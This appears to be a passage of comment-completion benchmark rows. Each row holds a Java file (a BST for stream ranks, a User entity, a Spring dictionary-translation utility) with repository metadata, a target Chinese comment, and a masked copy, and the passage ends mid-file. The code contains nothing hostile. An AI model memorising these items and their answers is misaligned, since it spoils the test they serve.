this.left = new TreeNode(val);
} else {
this.left.insert(val);
}
} else {
if (this.right == null) {
this.right = new TreeNode(val);
} else {
this.right.insert(val);
}
}
}
public int find(int val) {
if (this.val > val) {
if (this.left == null) {
return 0;
}
return this.left.find(val);
} else {
if (this.right == null) {
return this.leftSize;
}
return this.leftSize + this.right.find(val);
}
}
}
}
BST bst;
public StreamRank() {
bst = new BST();
}
public void track(int x) {
bst.insert(x);
}
public int getRankOfNumber(int x) {
return bst.find(x);
}
} | 1471104698/leetcode | 设计/面试题 10.10. 数字流的秩(实现二叉搜索树).java | 869 | //本身秩为 1 | line_comment | zh-cn | 假设你正在读取一串整数。每隔一段时间,你希望能找出数字 x 的秩(小于或等于 x 的值的个数)。请实现数据结构和算法来支持这些操作,也就是说:
实现 track(int x) 方法,每读入一个数字都会调用该方法;
实现 getRankOfNumber(int x) 方法,返回小于或等于 x 的值的个数。
注意:本题相对原题稍作改动
示例:
输入:
["StreamRank", "getRankOfNumber", "track", "getRankOfNumber"]
[[], [1], [0], [0]]
输出:
[null,0,null,1]
提示:
x <= 50000
track 和 getRankOfNumber 方法的调用次数均不超过 2000 次
//思路①、使用 map 记录某个值出现的次数,获取秩的时候遍历 [0, val],当然,我们默认最小值为 0,如果存在负数,那么就不可靠
class StreamRank {
/*
需要每次插入 一个数 就进行一次调整
*/
Map<Integer, Integer> map;
public StreamRank() {
map = new HashMap<>();
}
public void track(int x) {
map.put(x, map.getOrDefault(x, 0) + 1);
}
public int getRankOfNumber(int x) {
int sum = 0;
for(int i = 0; i <= x; i++){
sum += map.getOrDefault(i, 0);
}
return sum;
}
}
//思路②、实现二叉搜索树
class StreamRank {
/*
实现二叉搜索树
我们将小于等于 this.val 的值插在 this 的左子树,然后,顺便 leftSize++
这意味着 this 节点的 leftSize 记录的是它左子树的节点个数
*/
class BST {
TreeNode root;
public BST() {
}
public void insert(int val) {
if (root == null) {
root = new TreeNode(val);
} else {
root.insert(val);
}
}
public int find(int val) {
if (root == null) {
return 0;
}
return root.find(val);
}
class TreeNode {
TreeNode left;
TreeNode right;
int val;
int leftSize = 1; //本身 <SUF>
public TreeNode(int val) {
this.val = val;
}
public void insert(int val) {
//同值也插在 left
if (this.val >= val) {
this.leftSize++;
if (this.left == null) {
this.left = new TreeNode(val);
} else {
this.left.insert(val);
}
} else {
if (this.right == null) {
this.right = new TreeNode(val);
} else {
this.right.insert(val);
}
}
}
public int find(int val) {
if (this.val > val) {
if (this.left == null) {
return 0;
}
return this.left.find(val);
} else {
if (this.right == null) {
return this.leftSize;
}
return this.leftSize + this.right.find(val);
}
}
}
}
BST bst;
public StreamRank() {
bst = new BST();
}
public void track(int x) {
bst.insert(x);
}
public int getRankOfNumber(int x) {
return bst.find(x);
}
} | 0 |
36326_1 | /**
*
*/
package Entity;
/**
* @author lin
*
*/
public class User {
private String sno;//学号
private String psw;//答案
private int lev;//用户级别
public User(String sno,String psw,int lev ){
this.sno = sno;
this.psw = psw;
this.lev = lev;
}
/**
* @return sno
*/
public String getSno() {
return sno;
}
/**
* @param sno
*/
public void setSno(String sno) {
this.sno = sno;
}
/**
* @return psw
*/
public String getPsw() {
return psw;
}
/**
* @param psw
*/
public void setPsw(String psw) {
this.psw = psw;
}
/**
* @return lev
*/
public int getLev() {
return lev;
}
/**
* @param lev
*/
public void setLev(int lev) {
this.lev = lev;
}
}
| 14glwu/WebProject | src/Entity/User.java | 302 | //用户级别 | line_comment | zh-cn | /**
*
*/
package Entity;
/**
* @author lin
*
*/
public class User {
private String sno;//学号
private String psw;//答案
private int lev;//用户 <SUF>
public User(String sno,String psw,int lev ){
this.sno = sno;
this.psw = psw;
this.lev = lev;
}
/**
* @return sno
*/
public String getSno() {
return sno;
}
/**
* @param sno
*/
public void setSno(String sno) {
this.sno = sno;
}
/**
* @return psw
*/
public String getPsw() {
return psw;
}
/**
* @param psw
*/
public void setPsw(String psw) {
this.psw = psw;
}
/**
* @return lev
*/
public int getLev() {
return lev;
}
/**
* @param lev
*/
public void setLev(int lev) {
this.lev = lev;
}
}
| 0 |
57151_92 | package com.cesec.springboot.common.utils;
import com.cesec.springboot.system.entity.TbDirc;
import com.cesec.springboot.system.entity.TbLabelField;
import com.cesec.springboot.system.mapper.TbDircMapper;
import com.cesec.springboot.system.mapper.TbLabelFieldMapper;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.yaml.snakeyaml.Yaml;
import javax.annotation.PostConstruct;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
/**
* ClassName: DircConvertUtils
* Author : zzq
**/
@Slf4j
public class DircConvertUtils {
//字典表: Map<type, Map<key, value>> 例如:Map<"10101", Map<"01", "流动人口">>
private static final Map<String, Map<String, Object>> DIC_INFO =new ConcurrentHashMap<>();
//字典表信息(反转),主要用于将中文转成编码 例如:Map<10101, Map<"流动人口","01" >>
private static final Map<String, Map<String, Object>> DIC_INFO_OVERTURN = new ConcurrentHashMap<>();
//实体成员变量名与数据表类型映射关系:Map<fieldName,f_Type> 例如:Map<"sex","10103">
private static final Map<String, String> FIELDNAME_FTYPE_MAP = new HashMap<>();
//域 字段 字典类型映射
private static final Map<String, Map<String, String>> SCOPE_FIELDNAME_FTYPE_MAP = new HashMap<>(60);
//标签约束 实体成员变量名与数据表类型映射关系:Map<label_tree_id,Map<fieldName,f_Type>>
//例如:Map<"8ebba76af8c64a85be9510c060e0ebe5",Map<"sex","10103">>
private static final Map<String, Map<String, String>> LABELROWID_FIELDNAME_FTYPE_MAP = new ConcurrentHashMap<>(60);
//字典表 key字段名 value字段名
private static final String KEY_NAME = "keyName";
private static final String VALUE_NAME = "valueName";
//字段 字典类型映射文件
private static final String YAML_NAME = "test.yml";
private static TbDircMapper tbDircMapper;
@Autowired
private TbDircMapper autowiredTbDircMapper;
private static TbLabelFieldMapper tbLabelFieldMapper;
@Autowired
private TbLabelFieldMapper autowiredTbLabelFieldMapper;
private static List<TbDirc> tbDircList ;
/**
* @Description 自定义初始化bean
* @param
* @return void
*/
@PostConstruct
public void init(){
tbDircMapper = autowiredTbDircMapper;
tbLabelFieldMapper = autowiredTbLabelFieldMapper;
tbDircList = tbDircMapper.selectAll(); //字典表全表扫描 like "1%"
//tbDircList = tbDircMapper.selectAll().stream().filter(tbDirc -> FIELDNAME_FTYPE_MAP.containsValue(tbDirc.getFType())).collect(Collectors.toList()); //字典表全表扫描
if(tbDircList==null){
log.warn("字典翻译工具类#请确定字典表中有无数据");
return;
}
Set<String> allDircType = tbDircList.stream().filter(item->item!=null&&null!=item.getFType()&&null!=item.getFKey()&&null!=item.getFValue()).map(TbDirc::getFType).collect(Collectors.toSet()); //获取字典类型set
//根据字典类型组成相应kv
allDircType.stream().filter(item->item!=null).forEach(item->{
List<Map<String, Object>> l2 = selectDicInfoByType(item.toString());
if(l2.isEmpty()){
return;//同continue
}
DircConvertUtils.loadDircByColType(l2, item.toString());//初始化字典
//DircConvertUtils.loadDicInfoByColTypeOverturn(l2, item.toString());//初始化反转字典
});
}
/**
* @Description 根据标签主键刷新标签字段与字典类型映射
* @param treeCodeRowId 标签主键
* @return void
*/
public static void freshLabel(String treeCodeRowId){
//获取某个标签的所有字段信息
List<TbLabelField> labelFieldDircCodes = tbLabelFieldMapper.selectByLabelTreeCodeRowId(treeCodeRowId);
//某个label_tree_id的filed 和 dirccode组装成map
Map<String, String> labelFieldDircCodeMap = new HashMap<>();
labelFieldDircCodes.stream().forEach(item->{
labelFieldDircCodeMap.put(item.getLabelField(), item.getDircCode());
});
//例如: <"8ebba76af8c64a85be9510c060e0ebe5",<crime_type,10217>>
LABELROWID_FIELDNAME_FTYPE_MAP.put(treeCodeRowId, labelFieldDircCodeMap);
// LabelRowId_FieldName_Ftype_Map.set();
}
/**
* @Description 根据获取字典kv
* @param fType 字典类型
* @return java.util.Map<java.lang.String, java.lang.Object>
*/
public static Map<String, Object> getDircByType(String fType){
return DIC_INFO.get(fType);
}
/**
* @Description 刷新字典表
* @param
* @return void
*/
public static void fresh(){
tbDircList = tbDircMapper.selectAll();
//.stream().filter(tbDirc -> FIELDNAME_FTYPE_MAP.containsValue(tbDirc.getFType())).collect(Collectors.toList()); //字典表全表扫描
Set<String> allDircType = tbDircList.stream().filter(item->item!=null).map(TbDirc::getFType).collect(Collectors.toSet()); //获取字典类型set
//根据字典类型组成相应kv
allDircType.stream().filter(item->item!=null&&FIELDNAME_FTYPE_MAP.containsValue(item)).forEach(item->{
//List<Map<String, Object>> l2 = tbDircMapper.selectDicInfoByType(item.toString());
List<Map<String, Object>> l2 = selectDicInfoByType(item.toString());
if(l2.isEmpty()){
//log.warn("字典翻译工具类#请确定DB中有无"+item.toString()+"类型的数据!"+l2.toString());
return;//同continue
}
DircConvertUtils.loadDircByColType(l2, item.toString());//初始化字典
//DircConvertUtils.loadDicInfoByColTypeOverturn(l2, item.toString());//初始化反转字典
});
}
/**
* @Description 初始化工具类
* @param
* @return
*/
public DircConvertUtils() {
//实体成员变量名与数据表类型映射关系
//此映射关系适用于非标签翻译
FIELDNAME_FTYPE_MAP.put("popu_type", "10101");//人口类型
FIELDNAME_FTYPE_MAP.put("popuType", "10101");//人口类型
FIELDNAME_FTYPE_MAP.put("sex", "10102");//性别
FIELDNAME_FTYPE_MAP.put("marital_status", "10104");//婚姻状况
FIELDNAME_FTYPE_MAP.put("maritalStatus", "10104");//婚姻状况
FIELDNAME_FTYPE_MAP.put("religion", "10107");//宗教信仰
FIELDNAME_FTYPE_MAP.put("careerType", "10108");//职业类型
FIELDNAME_FTYPE_MAP.put("career_type", "10108");//职业类型
FIELDNAME_FTYPE_MAP.put("house_type", "10309");//房屋地址类型
FIELDNAME_FTYPE_MAP.put("houseType", "10309");//房屋地址类型
//从yml文件中加载字段 字典类型映射关系
Yaml yaml = new Yaml();
Map<String, Map<String, String>> mapMap = (Map<String, Map<String,String>>) yaml.load(this
.getClass().getClassLoader().getResourceAsStream(YAML_NAME));
SCOPE_FIELDNAME_FTYPE_MAP.putAll(mapMap);
}
/**
* @Description 将某个类型kv方法字典表中
* @param _dicInfo 从数据库查询的字典信息
* @param colType 字典信息对应的字典类型
* @return void
*/
private static void loadDircByColType(List<Map<String, Object>> _dicInfo,String colType){
Map<String, Object> colTypeKV = DIC_INFO.get(colType); // 获取以当前分类为键的map
if (colTypeKV != null) {
for (Map<String, Object> map : _dicInfo){
//从这个类型的字典中取值放入大字典里
colTypeKV.put((String) map.get(KEY_NAME), map.get(VALUE_NAME));
}
DIC_INFO.put(colType,colTypeKV);
}else {
//从这个类型的字典中取值放入大字典里
colTypeKV = new ConcurrentHashMap<>();
for (Map<String, Object> map : _dicInfo){
colTypeKV.put((String) map.get(KEY_NAME), map.get(VALUE_NAME));
}
DIC_INFO.put(colType,colTypeKV);
}
}
/**
* @Description 初始化反转字典表
* @param _dicInfo 字典表信息
* @param colType 字典类型
* @return void
*/
private static void loadDicInfoByColTypeOverturn(List<Map<String, Object>> _dicInfo,String colType) {
Map<String, Object> colTypeKV = DIC_INFO_OVERTURN.get(colType); // 获取以当前分类为键的map
if (colTypeKV != null) {
for (Map<String, Object> map : _dicInfo){
//从这个类型的字典中取值放入反转字典里
colTypeKV.put((String) map.get(VALUE_NAME), map.get(KEY_NAME));//以值为键,以code为值
}
DIC_INFO_OVERTURN.put(colType,colTypeKV);
}else {
//从这个类型的字典中取值放入反转字典里
colTypeKV = new ConcurrentHashMap<>();
for (Map<String, Object> map : _dicInfo){
colTypeKV.put((String) map.get(VALUE_NAME), map.get(KEY_NAME));
}
DIC_INFO_OVERTURN.put(colType,colTypeKV);
}
}
/**
* @Description 翻译业务数据中的字典字段数据
* @param result 拦截器拦截的结果
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 作用域
* @return void
*/
public static void convertDicInfo(List<Object> result,boolean ifOverturn,String scope) {
if(DIC_INFO.isEmpty()){
log.warn("字典翻译工具类#当前字典信息为空!无法翻译!");
return;
}
if(!SCOPE_FIELDNAME_FTYPE_MAP.containsKey(scope)){
log.warn("scope 不存在!");
return;
}
for (Object res : result) {
if(res==null) continue;
if (res instanceof Map) { //map类型数据
DircConvertUtils.convertDicColumnInfo4Map((Map) res,ifOverturn,scope);
} else if (isBaseType(res.getClass().getTypeName()) == null) { //非基本类型
DircConvertUtils.convertDicColumnInfo(res,ifOverturn,scope);
} else {
log.warn("当前结果集类型为基本类型 不翻译!");
continue;//
}
}
}
/**
* @Description 翻译业务数据中的字典字段数据
* @param result 拦截器拦截的结果集
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
public static void convertDicInfo(List<Object> result,boolean ifOverturn) {
if(DIC_INFO.isEmpty()){
log.warn("字典翻译工具类#当前字典信息为空!无法翻译!");
return;
}
for (Object res : result) {
if(res==null) continue;
if (res instanceof Map) { //map类型数据
DircConvertUtils.convertDicColumnInfo4Map((Map) res,ifOverturn);
} else if (isBaseType(res.getClass().getTypeName()) == null) { //非基本类型
DircConvertUtils.convertDicColumnInfo(res,ifOverturn);
} else {
log.warn("当前结果集类型为基本类型 不翻译!");
continue;
}
}
}
/**
* @Description 递归翻译
* @param _value 当前数据中的子集
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return boolean
*/
private static boolean recursion(Object _value,boolean ifOverturn) {
if (_value == null) return true;
if (_value instanceof Map) {
convertDicColumnInfo4Map((Map) _value,ifOverturn);
return true;
} else if (_value instanceof List) {
convertDicInfo((List) _value,ifOverturn);
return true;
}
return false;
}
/**
* @Description 递归翻译
* @param _value 当前数据中的子集
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 域
* @return boolean
*/
private static boolean recursion(Object _value,boolean ifOverturn,String scope) {
if (_value == null) return true;
if (_value instanceof Map) {
convertDicColumnInfo4Map((Map) _value,ifOverturn,scope);
return true;
} else if (_value instanceof List) {
convertDicInfo((List) _value,ifOverturn,scope);
return true;
}
return false;
}
/**
* @Description 翻译标签数据
* @param labelTreeCode
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
public static void convertLabelMap(String labelTreeCode , Map<String, Object> result,boolean ifOverturn) {
for (String key : result.keySet()) {
if(recursion(result.get(key),ifOverturn)) continue;
Map<String,String > labelFieldDircCodeMap = LABELROWID_FIELDNAME_FTYPE_MAP.get(labelTreeCode);//像根据标签id拿到map
String colType = labelFieldDircCodeMap.get(key);//再根据结果集中的key 找到类型
Map<String, Object> colTypeKV = null; //有了类型,找到字典类型
if(colType!=null){//如果当前查询结果集中有需要翻译的类型就去翻译。
colType = colType.replace("\r\n", "");
if(!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if(ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
if (colTypeKV != null) {//拿到类型字典的kv
String biz_value = result.get(key).toString(); //拿到结果集的value
result.put(key, colTypeKV.get(biz_value)); //设置新的value
}
}else{
log.warn("字典翻译工具类#当前标签Map中的[{}]不能被翻译",key);
continue;
}
}
}
/**
* @Description 翻译map类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 作用域
* @return void
*/
private static void convertDicColumnInfo4Map(Map<String, Object> result,boolean ifOverturn,String scope) {
log.info("字典翻译工具类#当前结果集类型为Map");
result.keySet().forEach(key -> {//查询结果集
if(recursion(result.get(key),ifOverturn,scope)) return;
//根据返回结果集去定位类型
Map<String, String> FIELDNAME_FTYPE_MAP_TEMP = SCOPE_FIELDNAME_FTYPE_MAP.get(scope);
String colType = FIELDNAME_FTYPE_MAP_TEMP.get(key);
commonMethod4Map(result, ifOverturn, key, colType);
});
}
/**
* @Description 翻译map类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
private static void convertDicColumnInfo4Map(Map<String, Object> result,boolean ifOverturn) {
log.info("字典翻译工具类#当前结果集类型为Map");
result.keySet().forEach(key -> {//查询结果集
if(recursion(result.get(key),ifOverturn)) return;
//根据返回结果集去定位类型
String colType = FIELDNAME_FTYPE_MAP.get(key);
commonMethod4Map(result, ifOverturn, key, colType);
});
}
/**
* @Description 翻译实体类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 作用域
* @return void
*/
private static void convertDicColumnInfo(Object result,boolean ifOverturn,String scope) {
List<Field> allFields = Arrays.asList(result.getClass().getDeclaredFields());
if(allFields.size()==0){
return;
}
allFields.forEach(field -> {
try {
//指定类名和字段名就能找到该字段的get方法
Method getMethod = getMethod(result.getClass(), field.getName());
//根据方法返回值判断是否需要递归进行翻译
Object value = null;
try{
value = getMethod.invoke(result);
if(recursion(value,ifOverturn,scope)) return;
}catch (RuntimeException e){
return;//翻译下一个
}
//根据当前的实体属性名去map里面去查找
String colType =FIELDNAME_FTYPE_MAP.get(field.getName()) ;//迭代实体类的所有字段判断是否有可翻译的类型
Map<String, Object> colTypeKV = null;//如果这个字段的类型存在就翻译
if(!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if(ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
//log.info("字典翻译工具类#当前翻译字段名为" + field.getName() + "字段名对应的类型名为" + colType + "类型对应的字典为:" + colTypeKV);
if (colTypeKV != null) {
//获取实体类的set方法
Method setMethod = setMethod(result.getClass(), field.getName(), String.class);
//执行调用
setMethod.invoke(result, colTypeKV.get(value));
}
} catch (Exception e) {
e.printStackTrace();
}
});
}
/**
* @Description 翻译实体类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
private static void convertDicColumnInfo(Object result,boolean ifOverturn) {
log.info("字典翻译工具类#翻译实体类数据:[{}]",result);
List<Field> allFields = Arrays.asList(result.getClass().getDeclaredFields());
if(allFields.size()==0){
return;
}
allFields.forEach(field -> {
try {
//指定类名和字段名就能找到该字段的get方法
Method getMethod = getMethod(result.getClass(), field.getName());
//根据方法返回值判断是否需要递归进行翻译
Object value = null;
try{
value = getMethod.invoke(result);
if(recursion(value,ifOverturn)) return;
}catch (RuntimeException e){
log.warn("[{}]没有这个方法",field.getName());
return;//翻译下一个
}
//根据当前的实体属性名去map里面去查找
String colType =FIELDNAME_FTYPE_MAP.get(field.getName()) ;//迭代实体类的所有字段判断是否有可翻译的类型
Map<String, Object> colTypeKV = null;//如果这个字段的类型存在就翻译
if(!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if(ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
//log.info("字典翻译工具类#当前翻译字段名为" + field.getName() + "字段名对应的类型名为" + colType + "类型对应的字典为:" + colTypeKV);
if (colTypeKV != null) {
//获取实体类的set方法
Method setMethod = setMethod(result.getClass(), field.getName(), String.class);
//执行调用
setMethod.invoke(result, colTypeKV.get(value));
}
} catch (Exception ignored) {}
});
}
//==================================================================================
//==============================================通用方法============================
//==================================================================================
/**
* @Description 使用反射获取某个class的所有字段
* @param className
* @return java.util.List<java.lang.reflect.Field>
*/
private static List<Field> getAllFields(Class<?> className) {
return Arrays.asList(className.getFields());
}
/**
* @Description 使用反射获取某个class的get方法
* @param className
* @param fieldName
* @return java.lang.reflect.Method
*/
private static Method getMethod(Class<?> className,String fieldName) {
try {
//获取get方法前,先进行字符串拼接
StringBuilder methodName = new StringBuilder("get");
methodName.append(captureName(fieldName));
Method method = className.getMethod(methodName.toString());
return method;
} catch (NoSuchMethodException e) {
log.warn("无此方法");
return null;
}
}
/**
* @Description 首字母转大写
* @param name
* @return java.lang.String
*/
private static String captureName(String name) {
char[] cs=name.toCharArray();
if(cs[0]>=65&&cs[0]<=90){
//如果本来就是大写字母即刻返回
return String.valueOf(cs);
}
//首字符默认是字母
cs[0]-=32;
return String.valueOf(cs);
}
/**
* @Description 使用反射获取某个class的set方法
* @param className
* @param fieldName
* @param paraType
* @return java.lang.reflect.Method
*/
private static Method setMethod(Class<?> className,String fieldName,Class paraType) {
try {
//首字母大写后进行字符串拼接 setPopuType(String popuType)
StringBuilder getMethodName = new StringBuilder("set");
getMethodName.append(captureName(fieldName));
Method setMethod = className.getMethod(getMethodName.toString(), paraType);
return setMethod;
} catch (NoSuchMethodException e) {
e.printStackTrace();
return null;
}
}
/**
* @Description 判断字段类型是否为基本数据类型
* @param typeName
* @return java.lang.Class<?>
*/
private static Class<?> isBaseType(String typeName) {
final Object[][] baseTypes = {{"byte", byte.class}, {"short", short.class}, {"char", char.class}, {"int", int.class}, {"java.lang.Long", long.class},{"Long", Long.class}, {"float", float.class}, {"double", double.class}, {"boolean", boolean.class}};
for (int i = 0; i < baseTypes.length; i = i + 1) {
Object[] type = baseTypes[i];
if (type[0].equals(typeName)) {
return (Class<?>)type[1];
}
}
return null; //当前类型不是基本类型返回null
}
private static void commonMethod4Map(Map<String, Object> result, boolean ifOverturn, String key, String colType) {
Map<String, Object> colTypeKV = null;
if (colType != null) {//如果当前查询结果集中有需要翻译的类型就去翻译。
if (!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if (ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
if (colTypeKV != null) {
Object biz_value = result.get(key);
result.put(key, colTypeKV.get(biz_value));
}
} else {
log.info("字典翻译工具类#当前map中的 [{}]不能被翻译",key);
return;
}
}
/**
* @Description 根据字典类型查询字典详情
* @param type 字典类型
* @return java.util.List<java.util.Map < java.lang.String, java.lang.Object>>
*/
private static List<Map<String, Object>> selectDicInfoByType(String type) {
List<Map<String, Object>> mapList = new ArrayList<>();
tbDircList.stream().filter(tbDirc -> tbDirc.getFType().equals(type))
.forEach(tbDirc -> {
HashMap<String, Object> hashMapTemp = new HashMap<>();
hashMapTemp.put(KEY_NAME,tbDirc.getFKey());
hashMapTemp.put(VALUE_NAME, tbDirc.getFValue());
mapList.add(hashMapTemp);
});
return mapList;
}
}
| 1500256797/DircConvertUtil | util/DircConvertUtils.java | 6,327 | //根据当前的实体属性名去map里面去查找 | line_comment | zh-cn | package com.cesec.springboot.common.utils;
import com.cesec.springboot.system.entity.TbDirc;
import com.cesec.springboot.system.entity.TbLabelField;
import com.cesec.springboot.system.mapper.TbDircMapper;
import com.cesec.springboot.system.mapper.TbLabelFieldMapper;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.yaml.snakeyaml.Yaml;
import javax.annotation.PostConstruct;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
/**
* ClassName: DircConvertUtils
* Author : zzq
**/
@Slf4j
public class DircConvertUtils {
//字典表: Map<type, Map<key, value>> 例如:Map<"10101", Map<"01", "流动人口">>
private static final Map<String, Map<String, Object>> DIC_INFO =new ConcurrentHashMap<>();
//字典表信息(反转),主要用于将中文转成编码 例如:Map<10101, Map<"流动人口","01" >>
private static final Map<String, Map<String, Object>> DIC_INFO_OVERTURN = new ConcurrentHashMap<>();
//实体成员变量名与数据表类型映射关系:Map<fieldName,f_Type> 例如:Map<"sex","10103">
private static final Map<String, String> FIELDNAME_FTYPE_MAP = new HashMap<>();
//域 字段 字典类型映射
private static final Map<String, Map<String, String>> SCOPE_FIELDNAME_FTYPE_MAP = new HashMap<>(60);
//标签约束 实体成员变量名与数据表类型映射关系:Map<label_tree_id,Map<fieldName,f_Type>>
//例如:Map<"8ebba76af8c64a85be9510c060e0ebe5",Map<"sex","10103">>
private static final Map<String, Map<String, String>> LABELROWID_FIELDNAME_FTYPE_MAP = new ConcurrentHashMap<>(60);
//字典表 key字段名 value字段名
private static final String KEY_NAME = "keyName";
private static final String VALUE_NAME = "valueName";
//字段 字典类型映射文件
private static final String YAML_NAME = "test.yml";
private static TbDircMapper tbDircMapper;
@Autowired
private TbDircMapper autowiredTbDircMapper;
private static TbLabelFieldMapper tbLabelFieldMapper;
@Autowired
private TbLabelFieldMapper autowiredTbLabelFieldMapper;
private static List<TbDirc> tbDircList ;
/**
* @Description 自定义初始化bean
* @param
* @return void
*/
@PostConstruct
public void init(){
tbDircMapper = autowiredTbDircMapper;
tbLabelFieldMapper = autowiredTbLabelFieldMapper;
tbDircList = tbDircMapper.selectAll(); //字典表全表扫描 like "1%"
//tbDircList = tbDircMapper.selectAll().stream().filter(tbDirc -> FIELDNAME_FTYPE_MAP.containsValue(tbDirc.getFType())).collect(Collectors.toList()); //字典表全表扫描
if(tbDircList==null){
log.warn("字典翻译工具类#请确定字典表中有无数据");
return;
}
Set<String> allDircType = tbDircList.stream().filter(item->item!=null&&null!=item.getFType()&&null!=item.getFKey()&&null!=item.getFValue()).map(TbDirc::getFType).collect(Collectors.toSet()); //获取字典类型set
//根据字典类型组成相应kv
allDircType.stream().filter(item->item!=null).forEach(item->{
List<Map<String, Object>> l2 = selectDicInfoByType(item.toString());
if(l2.isEmpty()){
return;//同continue
}
DircConvertUtils.loadDircByColType(l2, item.toString());//初始化字典
//DircConvertUtils.loadDicInfoByColTypeOverturn(l2, item.toString());//初始化反转字典
});
}
/**
* @Description 根据标签主键刷新标签字段与字典类型映射
* @param treeCodeRowId 标签主键
* @return void
*/
public static void freshLabel(String treeCodeRowId){
//获取某个标签的所有字段信息
List<TbLabelField> labelFieldDircCodes = tbLabelFieldMapper.selectByLabelTreeCodeRowId(treeCodeRowId);
//某个label_tree_id的filed 和 dirccode组装成map
Map<String, String> labelFieldDircCodeMap = new HashMap<>();
labelFieldDircCodes.stream().forEach(item->{
labelFieldDircCodeMap.put(item.getLabelField(), item.getDircCode());
});
//例如: <"8ebba76af8c64a85be9510c060e0ebe5",<crime_type,10217>>
LABELROWID_FIELDNAME_FTYPE_MAP.put(treeCodeRowId, labelFieldDircCodeMap);
// LabelRowId_FieldName_Ftype_Map.set();
}
/**
* @Description 根据获取字典kv
* @param fType 字典类型
* @return java.util.Map<java.lang.String, java.lang.Object>
*/
public static Map<String, Object> getDircByType(String fType){
return DIC_INFO.get(fType);
}
/**
* @Description 刷新字典表
* @param
* @return void
*/
public static void fresh(){
tbDircList = tbDircMapper.selectAll();
//.stream().filter(tbDirc -> FIELDNAME_FTYPE_MAP.containsValue(tbDirc.getFType())).collect(Collectors.toList()); //字典表全表扫描
Set<String> allDircType = tbDircList.stream().filter(item->item!=null).map(TbDirc::getFType).collect(Collectors.toSet()); //获取字典类型set
//根据字典类型组成相应kv
allDircType.stream().filter(item->item!=null&&FIELDNAME_FTYPE_MAP.containsValue(item)).forEach(item->{
//List<Map<String, Object>> l2 = tbDircMapper.selectDicInfoByType(item.toString());
List<Map<String, Object>> l2 = selectDicInfoByType(item.toString());
if(l2.isEmpty()){
//log.warn("字典翻译工具类#请确定DB中有无"+item.toString()+"类型的数据!"+l2.toString());
return;//同continue
}
DircConvertUtils.loadDircByColType(l2, item.toString());//初始化字典
//DircConvertUtils.loadDicInfoByColTypeOverturn(l2, item.toString());//初始化反转字典
});
}
/**
* @Description 初始化工具类
* @param
* @return
*/
public DircConvertUtils() {
//实体成员变量名与数据表类型映射关系
//此映射关系适用于非标签翻译
FIELDNAME_FTYPE_MAP.put("popu_type", "10101");//人口类型
FIELDNAME_FTYPE_MAP.put("popuType", "10101");//人口类型
FIELDNAME_FTYPE_MAP.put("sex", "10102");//性别
FIELDNAME_FTYPE_MAP.put("marital_status", "10104");//婚姻状况
FIELDNAME_FTYPE_MAP.put("maritalStatus", "10104");//婚姻状况
FIELDNAME_FTYPE_MAP.put("religion", "10107");//宗教信仰
FIELDNAME_FTYPE_MAP.put("careerType", "10108");//职业类型
FIELDNAME_FTYPE_MAP.put("career_type", "10108");//职业类型
FIELDNAME_FTYPE_MAP.put("house_type", "10309");//房屋地址类型
FIELDNAME_FTYPE_MAP.put("houseType", "10309");//房屋地址类型
//从yml文件中加载字段 字典类型映射关系
Yaml yaml = new Yaml();
Map<String, Map<String, String>> mapMap = (Map<String, Map<String,String>>) yaml.load(this
.getClass().getClassLoader().getResourceAsStream(YAML_NAME));
SCOPE_FIELDNAME_FTYPE_MAP.putAll(mapMap);
}
/**
* @Description 将某个类型kv方法字典表中
* @param _dicInfo 从数据库查询的字典信息
* @param colType 字典信息对应的字典类型
* @return void
*/
private static void loadDircByColType(List<Map<String, Object>> _dicInfo,String colType){
Map<String, Object> colTypeKV = DIC_INFO.get(colType); // 获取以当前分类为键的map
if (colTypeKV != null) {
for (Map<String, Object> map : _dicInfo){
//从这个类型的字典中取值放入大字典里
colTypeKV.put((String) map.get(KEY_NAME), map.get(VALUE_NAME));
}
DIC_INFO.put(colType,colTypeKV);
}else {
//从这个类型的字典中取值放入大字典里
colTypeKV = new ConcurrentHashMap<>();
for (Map<String, Object> map : _dicInfo){
colTypeKV.put((String) map.get(KEY_NAME), map.get(VALUE_NAME));
}
DIC_INFO.put(colType,colTypeKV);
}
}
/**
* @Description 初始化反转字典表
* @param _dicInfo 字典表信息
* @param colType 字典类型
* @return void
*/
private static void loadDicInfoByColTypeOverturn(List<Map<String, Object>> _dicInfo,String colType) {
Map<String, Object> colTypeKV = DIC_INFO_OVERTURN.get(colType); // 获取以当前分类为键的map
if (colTypeKV != null) {
for (Map<String, Object> map : _dicInfo){
//从这个类型的字典中取值放入反转字典里
colTypeKV.put((String) map.get(VALUE_NAME), map.get(KEY_NAME));//以值为键,以code为值
}
DIC_INFO_OVERTURN.put(colType,colTypeKV);
}else {
//从这个类型的字典中取值放入反转字典里
